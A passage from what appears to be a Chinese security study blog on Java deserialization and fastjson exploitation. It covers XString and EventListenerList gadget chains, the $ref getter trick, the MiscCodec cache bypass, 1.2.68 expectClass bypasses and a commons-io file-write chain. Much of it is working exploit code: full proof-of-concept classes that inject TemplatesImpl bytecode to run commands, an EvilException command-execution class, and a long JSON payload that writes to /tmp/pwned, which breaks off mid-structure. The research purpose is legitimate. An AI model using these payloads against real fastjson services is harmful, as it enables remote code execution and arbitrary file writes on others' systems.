        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap hashMap = makeMap(h1, h2);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashMap);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
    public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> map = new HashMap<>();
        setFieldValue(map, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  //通过此处来设置的0组和1组
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(map, "table", tbl);
        return map;
    }
}

现在下断点看看怎么调用的

image-20250924233742498

然后循环走一遍来到第二个putVal方法,此时的map就是我们改的第二个带XString的那个map

image-20250924234109030

然后这里就是调用了equals方法了,注意这里的key值为 HotSwappableTargetSource

image-20250924234421787

跟进可以看见这里是XString了,然后后面调用toString成功触发

直接打XString

前面我们可以看到最后调用了XString的equals方法,我们也可以直接调用XString的equals方法

1
HashMap.readObject() -> XString.equals() -> toString()

利用CC7链的思想,我们不难想到直接用hashmap的readObject来调用equals方法

高版本的话就加个ArrayList之类就行了

poc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class XStringAttack3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        XString xString = new XString("xxx");
        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        hashMap1.put("zZ", jsonArray);
        hashMap1.put("yy", xString);
        hashMap2.put("zZ", xString);
        hashMap2.put("yy", jsonArray);

        HashMap evilMap = makeMap(hashMap1, hashMap2);

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(evilMap);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
    public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> map = new HashMap<>();
        setFieldValue(map, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  //通过此处来设置的0组和1组
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(map, "table", tbl);
        return map;
    }
}

这里与前面不同的点在于把中间的HotSwappableTargetSource替换了,为了满足equals的判断,得进行hash碰撞,因此这里用到CC7链里学过的yy和zZ的hashcode相同来碰撞,我们这里下断点调试一下

调试

先是第一个进hashmap的put方法,可以看到zZ赋值为jsonarray

image-20250925221434057

同理第二个也是yy赋值XString类,我们跟到putVal方法里面的equals方法

image-20250925224048807

这里只进行了yy和zZ的比较返回false,没什么好看的,接下来就是第二个hashmap进去

image-20250925224508170

与hashmap1不同的是我们这里给zZ赋值为XString,yy赋值为jsonarray,等这第二个map创建完,我们再跟进equals方法,会发现这个时候进的不是原来那个比较key值的了,而是AbstractMap类的equals方法

image-20250925233110689

观察下面的变量值

image-20250925235218623

对应到上面代码,当前的value值是我们的map2的,类型为XString,接下来就是调equals触发toString,而当前这行代码的equals参数里面的m就是我们前面创建好的map1,其中的key取的是zZ,但是不同于我们当前map2的zZ,这个值是jsonarray,所以前面的代码是那样写的:

1
2
3
4
hashMap1.put("zZ", jsonArray);
hashMap1.put("yy", xString);
hashMap2.put("zZ", xString);
hashMap2.put("yy", jsonArray);

为了保证调用的key值相同,到这里就分析完了

到toString的调用栈如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:472, AbstractMap (java.util)
putVal:634, HashMap (java.util)
readObject:1397, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:46, XStringAttack3

EventListenerList链

eventListenerList的readObject方法可以直接调用toString方法

1
EventListenerList.readObject() -> tostring

先看看EventListenerList的readObject方法

image-20250926234915897

这里调用了add方法,对字符串进行操作,肯定会调用toString方法

image-20250926235249491

这里的t如果不是l的子类,就会抛出异常,来字符拼接触发toString,注意t和l的类型

t必须是class类型,而l必须为EventListener类型或者能强转成EventListener的类型,这样使得我们的jsonarray直接传传不进去,明显l可控,现在我们查找实现了EventListener类的类来包装恶意fastjson类

Ctrl+H查看层次结构,也就是接口的实现

image-20250927151519502

这里找到这个UndoManager类继承了UndoableEditListener,而UndoableEditListener又继承了EventListener

然后看这个类的toString方法

image-20250927152242493

用到的limitindexOfNextAdd都是int类型的,没法利用,看super.toString,进到CompoundEdit类的toString方法

image-20250927152446460

image-20250927152547484

edits是vector类型的,跟到vector类看看能不能利用,同样有toString方法,调用了super.toString,我们看看父类的实现

image-20250927152742915

创建了一个stringbuilder类,然后调用了append方法

image-20250927152934033

然后是valueOf

image-20250927153015823

到这里我们的利用链子就清晰了

1
EventListenerList.readObject() -> UndoManager.tostring -> Vector.toString -> AbstractCollection.toString -> obj.toString

中间部分大概这样写

1
2
3
4
5
6
EventListenerList listenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = new Vector();
vector.add(jsonArray);
setFieldValue(undoManager, "edits", vector);
setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});

先在vector数组里面填入我们的恶意jsonarray,给前面的可控变量edits赋值为这个,最后是我们的eventlistenerlist

image-20250927165247909

image-20250927165316113

其实要修改listenerList,而且它的类型是Object数组,直接设定类型为hashmap,其实随便设定为能继承seriazable接口的类就行了,所以有的payload设定为InternalError.class

但是我们这样写会报错,原因是找不到edits,注意我们这一行

1
setFieldValue(undoManager, "edits", vector);

找的是undoManager的edits,但是实际跟进edits却在CompoundEdit类里面

改一下代码

1
2
3
4
5
6
7
8
EventListenerList listenerList = new EventListenerList();
UndoManager  undoManager = new UndoManager();
Vector vector = new Vector();
vector.add(jsonArray);
Field edit = CompoundEdit.class.getDeclaredField("edits");
edit.setAccessible(true);
edit.set(undoManager,vector);
setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});

或者写一个函数获取edits

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }

然后调用函数

1
2
3
4
5
EventListenerList listenerList = new EventListenerList();  
UndoManager undoManager = new UndoManager();  
Vector vector = (Vector) getFieldValue(undoManager, "edits");  
vector.add(jsonArray);  
setFieldValue(listenerList, "listenerList", new Object[]{InternalError.class, undoManager});  

poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.swing.event.EventListenerList;
import javax.swing.undo.CompoundEdit;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Vector;

public class EventAttack {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);

        EventListenerList listenerList = new EventListenerList();
        UndoManager  undoManager = new UndoManager();
        Vector vector = new Vector();
        vector.add(jsonArray);
        Field edit = CompoundEdit.class.getDeclaredField("edits");
        edit.setAccessible(true);
        edit.set(undoManager,vector);
        setFieldValue(listenerList, "listenerList",new Object[]{HashMap.class,undoManager});

        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(listenerList);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

fastjson $ref调用getter方法

学习这个是为了方便学习1.2.68的漏洞

在Fastjson>=1.2.36时,可以用$ref的方式调用任意getter

$ref

$ref是fastjson里的引用,引用之前出现的对象

语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

先写的Test类,包含setter和getter方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class Test {
    private String cmd;

    public String getCmd() throws Exception {
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

测试ref的代码,这里ref也要写单独的json,用来引用数组中第一个元素的内容,所以用数组包裹了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class refTest {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }
}

方便测试,所以把autoType开了

调试

跟进parse方法

image-20250930202239120

会调用handleResovleTask方法,跟进去看逻辑

image-20250930225819255

先判断ref的值是否是$开头,这里显然是,然后进到eval方法

image-20250930233610768

这里进到jsonpath的eval,先用compile封装了一下,继续跟eval

image-20250930233944695

init进行初始化,然后segments就是前面init初始话后得到的数组(里面的内容实际上就是cmd),循环数组元素执行eval

image-20250930234327619

我们的path不为*所以,创建了一个jsonpathparser,调用了explain方法

image-20250930235244809

这里的readSegement跟进去会跟据./分字符,所以最后得到的segment是cmd

然后继续跟进segment的eval方法

image-20251001003242667

跟进getPropertyValue方法

image-20251001003414886

调用getJavaBeanSerializer获取序列化器之后,调用了getFieldValue方法

再跟就是跟fastjson的toJSONString后面一样了,这里的序列化器是ASMSerializer

image-20251001003755573

image-20251001003820464

image-20251001003841458

最终反射调用getter

利用$ref打TemplatesImpl

这里要版本要<=1.2.47才行,要用MiscCodec缓存绕过,因为1.2.36版本早就把TemplatesImpl加入黑名单了,而这个trick在1.2.48被修复了

MiscCodec缓存绕过

参考:FastJson各版本绕过分析 | CurlySean’s Blog

首先是1.2.24版本后对调用的类有限制,会调用checkautoType来检查,然后这个1.2.47前的版本都是有一个缓存查找类的过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

读取缓存时,是从mappings中寻找,所以我们需要寻找,在什么地方将类存入mappings

1
2
3
public static Class<?> getClassFromMapping(String className) {
        return mappings.get(className);
    }

我们找到的可控的方法,为TypeUtils#loadClass方法

这代表的是,如果之前加载过这个类,就放入缓存中,下次加载的时候直接从缓存中拿出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        ......

        return clazz;
    }

然后找哪个地方调用了loadClass方法,找到的可利用方法为MiscCodec#deserialze

在clazz等于Class.class的情况下,会调用loadClass

1
2
3
4
5
6
7
8
9
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
        ......

        if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

        ......
    }

这个MiscCodec是什么呢,它继承了ObjectSerializerObjectDeserializer,是一个序列化/反序列化器

所以我们可以加载Class.class,使用MiscCodec反序列化器,调用loadClass,将类名传入,并放入缓冲区中

当我们再次对类进行加载的时候,就直接从缓存中返回类

实现

第一步 反序列化一个Class类,值为恶意类

第二步 接着用之前的payload

加载第一个Class类时候设置类为Class类,后面的参数名就叫val即可,若不为它就会报错

第二个类直接使用之前payload即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class MiscCodecAttack {
    public static void main(String[] args) throws Exception {
        final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        byte[] bytecode = generatePayload();
        String evilCode = Base64.getEncoder().encodeToString(bytecode);
        String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"" + TEM_CLASS + "\"},{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{},\"_outputProperties\":{}}]";
//        System.out.println(payload);
        JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

这里用的是[],其实用{}也行

所以前面的$ref就能这样写,我们最终调用的是getoutputProperties方法,所以ref后面的就是outputProperties

poc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class MiscCodecAttack {
    public static void main(String[] args) throws Exception {
        final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        byte[] bytecode = generatePayload();
        String evilCode = Base64.getEncoder().encodeToString(bytecode);
        String payload = "[{\"@type\":\"java.lang.Class\",\"val\":\"" + TEM_CLASS + "\"},{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"hajimi\",\"_tfactory\":{}},{\"$ref\":\"$[1].outputProperties\"}]";
//        System.out.println(payload);
        JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

这里无需设置_outputProperties字段,因为我们用ref调用了getoutputProperties,之前设置这个字段的原因是需要调用getoutputProperties使返回值类型继承map来满足fastjson调用getter方法的条件

fastjson 1.2.68版本漏洞分析及commons-io写文件

参考:fastjson 1.2.68漏洞分析及commons-io写文件 | Godown_blog

前面说过1.2.47之前的版本能用MiscCodec缓存绕过checkautoType检测,而1.2.48进行了修复

TypeUtils.loadClass加了一个cache判断

image-20251002141953052

然后上面定义的bool值cache默认为false

image-20251002142329672

直接阻断了cache提前加载恶意类的攻击链路

1.2.68有新的方法来绕过,可使用expectClass去绕过checkAutoType()检测机制,主要使用ThrowableAutoCloseable来绕过

1.2.68版本下,更新了一个新的安全控制点 safeMode,如果开启的话,将在checkAutoType()直接抛出异常。从赋值可以看出,如果设置了@type就会抛出异常,开了safemode的直接打不了fastjson

image-20251002144652458

这个safemode默认是false,所以不用管,然后接着往下看这个版本checkautoType的实现

image-20251002151708166

可以看到还是getClassFromMapping方法从mapping读取类,然后要满足expectClass下面的那些条件,直接返回class,这里的条件是expectClass类不为空,获取的typeName不是hashmap,expectClass不是typeName的父类或者与他相同(其实就是expectClass是typeName的子类)

在mappings初始化的时候,其中put了很多类,包括Exception和AutoCloseable,我们后续的攻击都是基于这两个接口

image-20251002153408319

所以有没有办法控制expectClass来绕过判断直接返回我们的class呢,我们查找谁调用了checkautoType,因为

expectClass就是checkautoType的第二个参数,我们要找到同样有参的方法

image-20251002155719941

查找用法发现JavaBeanDesrtializer.deserialze和ThrowableDeserializer.deserialze都调用了带期望类参数的checkAutoType

前者是fastjson默认反序列化器,后者是针对异常类的反序列化器

由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,所以我们如果调用实现了Exception类的类,就可以绕过

ThrowableDeserializer

在fastjson中,先是DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类,然后再是获取反序列化器调用deserialze

image-20251002163100813

如果这里deserializer是ThrowableDeserializer,并且下一个key为@type的话,就会再次调用checkAutoType,但是这里是Throwable.class作为expectClass

image-20251002171919488

如果我们这里传的第一个参数exClassName是恶意的实现了Throwable子类,就能命令执行。

由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,那实现Exception就能绕过,不过目前没有实现Exception的库类可以进一步利用,如果有写文件的功能的话就能利用了

可以写入一个类继承Exception

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class EvilException extends Exception{
    private String command;

    public void setCommand(String command) {
        this.command = command;
        try {
            Runtime.getRuntime().exec(command);
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

payload

1
2
3
4
5
{"x":
	{"@type":"java.lang.Exception",
	 "@type":"EvilException", 
	         "command":"calc"}, 
}

JavaBeanDeserializer

ThrowableDeserializer#deserialze调用的checkAutoType中向期望类传参是固定的,为Throwable.class

JavaBeanDeserializer#deserialze的expectClass参数是用户可控的

image-20251002172113280

其中这个type来自deserialze的参数传入

image-20251002172756304

然后这里的expectClass选择为AutoCloseable,前面提到AutoCloseable为mappings白名单里面的类,而且用到AutoCloseable的很多,其中包括了输入ObjectInput和输出ObjectOutput接口

于是出现了输入流转输出流写文件,输出流转输入流读文件的操作

现在我们的问题是怎么找到AutoCloseable的子类来进行输入流和输出流的互转?

我们知道fastjson对方法的调用还是要落实到setter、getter和构造方法上的

给出写文件的利用条件:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream(作为输出文件流)
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream(作为一个OutputStream转为另一个OutputStream的桥梁)
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法(用于将缓冲区中的数据写入目标输入流)

下面介绍通用的写文件手法:

Commons-io 2.x写文件

先导入依赖

1
2
3
4
5
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>

调用任意InputStream.read

commons-io包中的XmlStreamReader方法

image-20251003153550870

参数中接收一个InputStream参数,下面用BufferedInputStream包装它,最后调用了doHttpStream方法

这个BufferedInputStream我们看看是啥

image-20251003153943523

首先是继承了FilterInputStream,然后看看构造函数

image-20251003154016655

调用了父类的构造器

image-20251003154132449

接着看doHttpStream的实现,调用了下面的链子到达read方法

1
2
3
4
5
6
XmlStreamReader.doHttpStream ->
BOMInputStream.getBOMCharsetName ->
BOMInputStream.getBOM ->
BufferedInputStream.read ->
BufferedInputStream.fill ->
InputStream.read(byte[], int, int)

BufferedInputStream.fill这里先是调用了getInIfOpen将输入流类型改成InputStream再调用的read方法

image-20251003155046752

image-20251003155143341

所以使用XmlStreamReader方法能调用任意InputStream的read方法

传入字符串作为InputStream

commons-io包中的ReaderInputStream方法

image-20251003155921235

接受一个Reader对象作为参数

然后看它本身的read方法

image-20251003160914356

调用了fillBuffer方法

image-20251003161203010

然后这里调用了Reader的read方法,如果这里我们传入的是commons-io包的CharSequenceReader类

image-20251003223214358

它的read方法会循环调用无参的read写到array里面,然后看无参read

image-20251003225057954

无参read每次返回charSequence(构造函数传入的参数)一个字符

所以fillBuffer 方法在这里的主要功能是从 CharSequenceReader 中读取字符并填充到 encoderIn 缓冲区,然后通过 encoder 将字符编码为字节并存储在 encoderOut 缓冲区中。

输入字符串用ReaderInputStream存储如下,由于ReaderInputStream实际上是创了个Buffer来存储流,构造函数需要传Buffer创建需要的参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
    "@type":"org.apache.commons.io.input.CharSequenceReader",
    "charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
}

InputStream转OutputStream

commons-io包的TeeInputStream类

image-20251004153320167

接收InputStream和OutputStream作为参数

接着看它的read方法

image-20251004153415852

read方法调用了OutputStream.write,OutputStream 的 write 方法用于将数据写入输出流。

至此,我们可以实现XmlStreamReader+TeelInputStream调用write任意InputStream输出到OutputStream

但是现在只能写字符串,怎么将输出流变文件流呢?

OutputStream 输出到文件

还是commons-io包里面的WriterOutputStream类

image-20251004162058663

看它的write方法

image-20251004162125688

调用了flushOutput方法

image-20251004162845629

接着调用了Writer.write

跟前面分析流程一样,这里找到FileWriterWithEncoding类,如果这里的Writer是FileWriterWithEncoding

image-20251004163008486

image-20251004163055762

构造函数接收File作为参数,然后这里有个initWriter初始化了一个OutputStreamWriter,封装了FileOutputStream

image-20251004164306799

FileWriterWithEncoding.write->OutputStreamWriter.write->StreamEncoder.write

现在我们串一下利用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
存储char到InputStream
XmlStreamReader.doHttpStream ->
BOMInputStream.getBomCharsetName ->
BOMInputStream.getBom ->
BufferedInputStream.read ->
BufferedInputStream.fill ->

ReaderInputStream.read ->
ReaderInputStream.fillBuffer ->
CharSequenceReader.read读字符串

输出InputStream到OutputStream到文件
XmlStreamReader.doHttpStream ->
BOMInputStream.getBomCharsetName ->
BOMInputStream.getBom ->
BufferedInputStream.read ->
BufferedInputStream.fill ->

TeeInputStream.read ->
WriterOutputStream.write ->
WriterOutputStream.flushOutput ->
FileWriterWithEncoding.write ->
StreamEncoder.write ->
StreamEncoder.implWrite ->
StreamEncoder.writeBytes写文件

最后写文件这里的StreamEncoder.implWrite有个缓存的问题

image-20251004171426419

这里缓冲区,也就是Underflow要满才能进到writeBytes方法

image-20251004171606192

默认缓冲区大小是8192

但是传入的BufferedInputStream一块只有4096

image-20251004171826205

利用$ref可以多次调用StreamEncoder.implWrite向同一个缓冲区写入流数据,直到overflow写文件

poc

commons-io在2.0-2.6和2.7-2.8版本之间各文件的构造函数参数名有些许不同

2.0-2.6版本POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
{
    "x": {
        "@type": "com.alibaba.fastjson.JSONObject",
        "input": {
            "@type": "java.lang.AutoCloseable",
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "org.apache.commons.io.input.CharSequenceReader",
                "charSequence": {
                    "@type": "java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "branch": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.output.WriterOutputStream",
                "writer": {
                    "@type": "org.apache.commons.io.output.FileWriterWithEncoding",
                    "file": "/tmp/pwned",
                    "encoding": "UTF-8",
                    "append": false
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024,
                "writeImmediately": true
            },
            "trigger": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "is": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger2": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "is": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
                "defaultEncoding": "UTF-8"
            },
            "trigger3": {
                "@type": "java.lang.AutoCloseable",
                "@type": "org.apache.commons.io.input.XmlStreamReader",
                "is": {
                    "@type": "org.apache.commons.io.input.TeeInputStream",
                    "input": {
                        "$ref": "$.input"
                    },
                    "branch": {
                        "$ref": "$.branch"
                    },
                    "closeBranch": true
                },
                "httpContentType": "text/xml",
                "lenient": false,
